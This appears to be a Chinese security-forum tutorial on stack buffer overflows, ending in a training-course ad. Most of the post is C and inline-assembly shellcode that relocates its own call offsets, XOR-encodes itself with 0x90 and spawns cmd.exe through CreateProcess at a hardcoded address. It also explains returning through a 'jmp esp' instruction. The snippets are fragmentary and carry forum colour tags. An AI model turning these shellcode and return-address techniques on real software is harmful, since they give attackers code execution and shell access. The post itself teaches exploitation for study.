缓冲区溢出是一种非常普遍、非常危险的漏洞,在各种操作系统、应用软件中广泛存在。利用缓冲区溢出攻击,可以导致程序运行失败、系统当机、重新启动等后果。更为严重的是,可以利用它执行非授权指令,甚至可以取得系统特权,进而进行各种非法操作。缓冲区溢出攻击有多种英文名称:buffer overflow,buffer overrun,smash the stack,trash the stack,scribble the stack, mangle the stack, memory leak,overrun screw;它们指的都是同一种攻击手段。第一个缓冲区溢出攻击--Morris蠕虫,发生在十年前,它曾造成了全世界6000多台网络服务器瘫痪。
一、 缓冲区溢出的原理
通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其它指令,以达到攻击的目的。造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。例如下面程序:
void function(char *str)
{
char buffer[16];
strcpy(buffer,str);
}
[COLOR="Magenta"]Int Add(int x ,int y)[/COLOR]
{
Push ebp;
mov ebp,esp
sub esp,44h
push ebx
push esi
push edi
Lea edi,[ebp-44h]
mov ecx,11h
mov eax,0xcccccccc
rep eax,0cccccccch
[COLOR="magenta"]Int sum;[/COLOR]
[COLOR="magenta"]sum=x+y;[/COLOR]
mov eax,dword ptr [ebp+8]
add eax,dword prt [ebp+12]
mov dword ptr[ebp-4],eax
[COLOR="magenta"]return sum;[/COLOR]
mov eax,dword ptr [ebp-4]
}
pop edi
pop esi
pop ebx
mov esp,ebp
pop ebp
ret
char * retAddr;//global
int gi;
void * getCode()
{
char * codeStart, * codeEnd;
int codeLen;
void * code;
_asm
{
mov codeStart, offset _startCode;
mov codeEnd, offset _endCode;
}
codeLen = codeEnd - codeStart;
code = malloc(codeLen);
memcpy(code, codeStart, codeLen);
return code;
//the following code never run.
_startCode:
_asm
{
mov gi, 23;
jmp retAddr;
}
_endCode:
return;
}
void main()
{
void * code;
_asm mov retAddr, offset _retAddr;
gi = 12;
printf("gi is %d\n", gi);
code = getCode();
_asm jmp code;
_retAddr:
printf("gi is %d\n", gi);
free(code);
}
_startCode:
printf(“这是shell code 中的printf\n”);
_asm{
mov gi, 23;
jmp retAddr;
}
_endCode:
for(int i=0;i<codeLen;i++)
{
if (temp[i]==0xE8)
{
temp=temp+i+1;
ttp=(unsigned int *)temp;
printf("\tttp=0x%x\n",*ttp);
if (code<codeStart)
{
tempValue=codeStart-code;
*ttp+=tempValue;
}else{
tempValue=code-codeStart;
*ttp-=tempValue;
}
break;
}
}
for (int j=0;j<codeLen;j++)
{
printf("source_code[%d]=0x%x\t",j,code[j]);
[COLOR="red"]code[j]^=0x90;[/COLOR]
printf("code[%d]=0x%x\n",j,code[j]);
}
for (int j=0;j<len;j++)
{
//printf("sourccode[%d]=0x%x\t",j,tp[j]);
[COLOR="Red"]tp[j]^=0x90;[/COLOR]
//printf("code[%d]=0x%x\n",j,tp[j]);
}
for (temp=0;temp<len;temp++)
{
if (tp[temp]==0xe8)[COLOR="red"]//寻找E8,再改地址[/COLOR]
{
printf("E8在temp=%d\n",temp);
unsigned int *intP=(unsigned int *)(tp+temp+1);
printf("以前的偏移量为:*intP=0x%x\n",*intP);
printf("以前的地址为:k=0x%x\n",k);
printf("现在的地址为:tp=0x%x\n",tp);
if (addrs2>addrs1)
{
unsigned int addr=addrs2-addrs1;[COLOR="red"]//原来是k-tp[/COLOR]
*intP-=addr;
}
else{
unsigned int addr2=addrs1-addrs2;[COLOR="red"]//原来是tp-k[/COLOR]
*intP+=addr2;
}
printf("intP=0x%x\n",intP);
printf("*intP=0x%x\n",*intP);
break;
}
}
mov ppp,0x7c800000+0x2367;//先存入绝对地址
[COLOR="Red"]mov eax,ppp;[/COLOR] //暂存到eax中
[COLOR="Magenta"]sub eax,(offset lab1);[/COLOR] //与下一个标号的地址进行相减,得到相对地址
[COLOR="Red"]mov ppp,eax; [/COLOR] //再存到ppp指针中
push 0; //传入第一个参数null
push p3; //传入第二个参数,这是一个批向一个”cmd.exe”字串的指针
push 0; //这是第三个参数 null
push 0; //第四个参数:null
push 1; //第五个参数:TRUE
push CREATE_DEFAULT_ERROR_MODE;//这里用的是一个掩码,windows定义的
push 0; //null
push 0; //null
push p1; //si指针:*LPSTARTUPINFO
push p2; // ppiP指针:PPROCESS_INFORMATION
call ppp;
lab1:add esp,40;
_startCode:
_asm
{
[COLOR="Blue"]//=================10===================================
/* for
------PPROCESS_INFORMATION---------
*/
call next3;/*5byte*/[/COLOR]
_proc_info:
[COLOR="blue"]//1*4[/COLOR]
nop;
nop;
nop;
nop;
[COLOR="blue"]//2*4[/COLOR]
nop;
nop;
nop;
nop;
[COLOR="blue"]//3*4[/COLOR]
nop;
nop;
nop;
nop;
[COLOR="blue"]//4*4[/COLOR]
nop;
nop;
nop;
nop;
next3:
[COLOR="blue"]/*
pop eax;
push eax;
//相当于先弹到eax中,得到了第一个结构体的地址。再入栈就是最后一个参数的指针。
*/[/COLOR]
[COLOR="blue"]//==================9====================================
/* for
----------STARTUPINFO-------------
*/[/COLOR]
call next2[COLOR="blue"];/*5byte*/[/COLOR]
_start_info:
[COLOR="blue"]//1*10[/COLOR]
nop;
nop;
nop;
nop;
nop;
nop;
nop;
nop;
nop;
nop;
[COLOR="blue"]//2*10[/COLOR]
nop;
nop;
nop;
nop;
nop;
nop;
nop;
nop;
nop;
nop;
[COLOR="blue"]//3*10[/COLOR]
nop;
nop;
nop;
nop;
nop;
nop;
nop;
nop;
nop;
nop;
[COLOR="blue"]//4*10[/COLOR]
nop;
nop;
nop;
nop;
nop;
nop;
nop;
nop;
nop;
nop;
[COLOR="blue"]//5*10[/COLOR]
nop;
nop;
nop;
nop;
nop;
nop;
nop;
nop;
nop;
nop;
[COLOR="blue"]//6*10[/COLOR]
nop;
nop;
nop;
nop;
nop;
nop;
nop;
nop;
nop;
nop;
[COLOR="blue"]//6*10+8[/COLOR]
nop;
nop;
nop;
nop;
nop;
nop;
nop;
nop;
next2:
[COLOR="blue"]/*
pop eax;
push eax;
//相当于先弹到eax中,得到了第一个结构体的地址。再入栈就是倒数第二个参数的指针。
*/[/COLOR]
[COLOR="blue"]//==========8,7,6,5,4,3======================[/COLOR]
push 0;
push 0;
push CREATE_DEFAULT_ERROR_MODE;
push 1;
push 0;
push 0;
[COLOR="blue"]//==============push cmd.exe=====2======================[/COLOR]
call next1;
_cmd: nop;//’c’
nop;//’m’
nop;//’d’
nop;//’.’
Nop;//’e’
nop;//’x’
nop;//’e’
nop;//’\0’
next1: pop eax;
push eax;
[B][COLOR="Red"]/*
本来想在这里直接改成我们想要的cmd.exe可是会出现访问违规的操作
。默认的代码段是不可以写的
mov [eax],'c';
mov [eax+1],'m';
mov [eax+2],'d';
mov [eax+3],'.';
mov [eax+4],'e';
mov [eax+5],'x';
mov [eax+6],'e';
*/[/COLOR][/B]
[COLOR="Blue"]//-=========-push 参数1==========1===================[/COLOR]
push 0;
mov eax,0x7c800000+0x2367;
call eax;
jmp retAddr;
}
_endCode:
一般来说要直接跳到我们的代码在的地方是不可能的。在windows上,不幸的是这个栈起始地址很低,0x00130000,所以无法保证没有00字节出现这个要求,而且多线程的特性,有使得这个值变化不定,更不可能事先计算出来。所以在windows中有了一个更加巧妙的办法。在程序中去找一个条指令叫:jmp esp的指令。若找到这么一条指令我们就可以把函数的返回地址写为这一第指令所在的地方。这样在执行完jmp esp的时候我们的程序就会又回到栈上来执行。而此时的执行地方刚好是retAddress的高一个单位(4字节)的地方处。只要我们在这里放上我们的代码就可以开始执行了。
有一个调试器叫ollyDbg,有一个插件叫ollyUni,就有查找的功能。
通过自己编写内存查找器可以很容易的实现指令的查找。
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
上传的附件: